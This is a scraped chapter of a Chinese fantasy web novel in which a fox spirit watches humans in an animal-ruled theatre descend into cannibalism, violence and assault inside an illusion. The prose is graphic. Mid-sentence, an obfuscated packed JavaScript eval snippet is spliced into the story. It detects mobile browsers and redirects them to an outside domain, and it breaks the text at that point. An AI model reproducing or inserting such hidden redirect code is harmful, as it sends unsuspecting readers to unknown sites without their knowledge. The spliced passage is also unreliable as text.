直立起来的大象牵着几个身形健硕的人类,他们匍匐在地,身上坐着几个天真的动物幼崽;棕发美女转动着华丽的裙摆,烈火灼烧着她的皮肤,疼痛让她扭曲着,却要坚持着转圈;巨蟒吹着笛子,一个头戴包巾的男人从箱子里钻了出来,随着笛声怪异起舞;舞台两旁巨大玻璃钢中泡着赤/裸的人类,一双双大眼睛毫无生气地盯着舞台上的观众…… 喝彩声和音乐声此起彼伏,然而一声尖叫仍旧显得格外刺耳。 涂婴听过那声音,是激流勇进时坐在他身边的长发波□□。 女人惊恐万分,却又动弹不得。 她眼睁睁地看着坐在不远处的眼镜男被旁边的观众分食殆尽——穿着运动装的狼嘎嘣嘎嘣地嚼着眼镜男的指骨,穿着精致套装的猎豹优雅地喝着眼镜男的血,猥琐的鬣狗舔舐着眼镜男残留的皮毛,而身旁几个穿着制服的动物对此视若无睹。 眼镜男在这些动物的眼中,就是一个巨大的零食。 动物作主宰,人类被鱼肉的世界,这是山海初陷落时涂婴经常做的梦。他幻想着有一天可以咬断人族的尾椎骨,在人族面前杀掉他们的至亲,让他们也尝一尝痛入骨髓的感觉。但随着冗长生命的打磨,这种感觉慢慢稀释,只剩下对父母和山海世界的怀恋一直萦绕梦寐。 那种怀恋湿濡又迷蒙,逡巡着,攀附着,浸入骨髓里,见缝插针地出现在每一个原以为不经意的瞬间…… 涂婴愣了会神,注意力就被一旁的肥胖小学生吸引了。 肥胖小学生面对眼镜男惨死的状态,脸上没有任何恐惧之色,相反,露出享受的神情—— 一旁的白色小猪向他投来羡慕的目光,一遍又一遍问他怎么可以把自己吃得这么圆润。大□□轻抚着小学生的皮肤,如同对待稀世珍宝一般,不敢着力。一只翘着鸦羽般卷密睫毛的纯白小猫向小学生伸出一爪,姿色撩人地邀请他坐在身边。 或许是小学生还没到对美色沉迷的年纪,亦或是他本心不在于此。他高傲地转头走向眼镜男残存的骸骨,一双胖瘦捧起地上的血肉,大快朵颐起来…… 转头来,涂婴对面坐着的佝偻老人正是方才在角斗场上咬死年轻人的老者,他拄着拐杖,怯生生地看向一旁穿着运动服,踩着八双鞋的蜈蚣。蜈蚣似乎正沉迷于台上的表演,以至于太过激动,几次踢到了老人身上。 数番忍耐之后,老人终于出于本能地发作了,他用力一甩蜈蚣的运动鞋,整条大蜈蚣被掀翻在地。蜈蚣愤怒之下想要与老人理论,再次被老人推倒。 可在蜈蚣打算再次发起进攻时,老人却不动了。他惊诧地看向自己的小臂,那是一截精壮有力的小臂,肉眼可见清晰的青筋和肌肉线条。 渐渐的,老人弯曲的脊梁骨开始舒展开,他的肩膀都变得宽阔起来。就连脸上的皱纹都慢慢舒展,整个人变得孔武有力。 年轻的感觉再一次攀附到他原本如朽木般的身体上,他甚至不敢犹豫分毫,只想尽快享受这青春的滋味。他环视四周,一时间竟不知从何找起,只潦草地拽到了跟前的一位火烈鸟女士,将她压在身下…… 而那个擅长尖叫的波浪长发女人在看到老人的“奇迹”之后,踩着红色的高跟鞋径直走到了一只虎宝宝跟前。出乎所有人意料,这位只会面对惊恐无能狂叫的女人却在此时迅捷地脱下了高跟鞋,赫然将鞋跟插进了虎宝宝的左眼里。 母虎愤怒的号啸声和虎宝宝的痛哭声混杂着,女人却丝毫没有松手的意思。她双眼猩红,面目扭曲,这一次,她不再尖叫,而是放声大笑起来。笑声仍旧刺耳,像指甲磨过黑板,让人汗毛倒竖。 母虎一巴掌将女人扇飞,她颤抖着,匍匐在地上,却坚持着想要爬回来…… 西装革履的精英男同样疯癫异常,他一遍又一遍地抬手看表,一次又一次地蹙眉远眺,时而又在公文包里翻找着什么。他猛地拉起旁边的乌龟问朔朔到底几点走的,乌龟茫然又不耐烦地回答他并不认识朔朔。 乌龟转头扎进了身后的海水中,精英男也被拽了进去。他在巨浪中奋力挣扎,海豚不忍直视,试图将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800585|158389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他托举起来,可他却一遍又一遍看着手表,左手的公文包也不肯放弃,几近淹溺也不肯上岸,口中喃喃着“朔朔”,不知到底谁是朔朔…… 这究竟是什么地方? 难道这里不是和“浪遏飞舟”一样的生死游戏么?可进入到剧场之后,没有再出现如同第一个游戏的规则提示音。 没有规则,也就没有通关条件。不通关,就意味着永远走不出去。 幻境幢幢,魅影绰绰,光怪陆离漫周天,嗔痴贪念逡巡不断……涂婴看着台上台下的一切,像是看着一出怪诞绮丽的剧目,仿佛被声光电裹挟其中,又混沌地感觉到被某种感官排斥在外。 涂婴冷眼旁观闹剧,只觉得胸口发闷。忍无可忍时,他双手掐诀,正欲将精英男周身的海水化为武器,耳后却传来一阵柔软的感觉。 转头来,一片毛茸茸的白色映入眼帘。 成千上万的,通体银白,目含桃花的九尾银狐簇拥在青丘之山上,为首的,是每每入夜都能进入梦境的,已经模糊了形象的母亲。 她仰头看着已化为人形的涂婴,嫣然一笑:“累不累?睡一会。” 是的,累,想睡一会……萦绕在涂婴心头的倒不是惊诧亦或想念,而是一种久远的熟悉与依恋,像是……像是冬日里温暖的被窝,柔软的,细腻的,让人昏昏欲睡的。 真的累了,真的想睡一会。掐诀的双手放了下来,涂婴周身绵软起来,马上就要化为狐形。 不过百平米大的剧场内诡谲离奇。波浪长发女人被母虎打得奄奄一息,却执意想要杀死虎宝宝;变成年轻人的佝偻老者强抢着一个又一个女性动物肆意施暴;肥胖的小学生啃食完眼镜男的残骸后又抓起来不及高飞的鸽子撕咬着;精英男在海水中翻飞,却始终不肯放弃公文包和手表,口中仍旧呢喃着“朔朔”…… 而涂婴在青丘漫山遍野的青草野花之中彻底化为断尾狐形,蜷曲在母亲的怀里,用额头轻轻蹭拭着母亲的下颌,撒娇似的发出了嘤咛声。 每一个人都诡异地沉迷于某种情绪里,依恋也好,痛苦也罢,全部都沉溺着,不愿苏醒。幻境如吞噬万物的混沌深渊,一点点蚕食着人们的理智。 当然,其中也包括涂婴—— 这种清醒的沉沦未尝不是痛苦。明知道这一切不过是虚假的幻境,涂婴仍旧贪恋这怀抱的温暖,痴痴的,带着一丝侥幸,不愿离去。 偷得片刻欢娱,可以吗?涂婴喃喃自语…… 剧场内的方寸天地在一念之间坍塌为混乱的泥沼,痛苦与喜悦都在此刻被无限放大扭曲,交织成欲望的大网,网住了所有人的理智。 涂婴用鼻尖蹭了蹭母亲额前那一撮如同宝石一般炫目的毛发,那是作为青丘出身最为高贵的公主才有的独一无二的印记,弯弯的,如新月。 幼时涂婴在母亲怀里撒娇打滚时最喜欢的就是用鼻尖去蹭那里。那时的他同样是整个青丘狐族的心尖肉,若他想要天上的月,未尝没有勇士愿意一试。 天上月未必是真明月,眼前人却实实在在是心上人。 细若游丝的理智拉扯着他沉重的依赖感,撕扯得他的胸口像是裂开了一道口子—— 清醒来得疾如迅雷,但同样也如快刀剜肉,血啦啦的疼。 母亲额前的那撮弯月毛发是反的!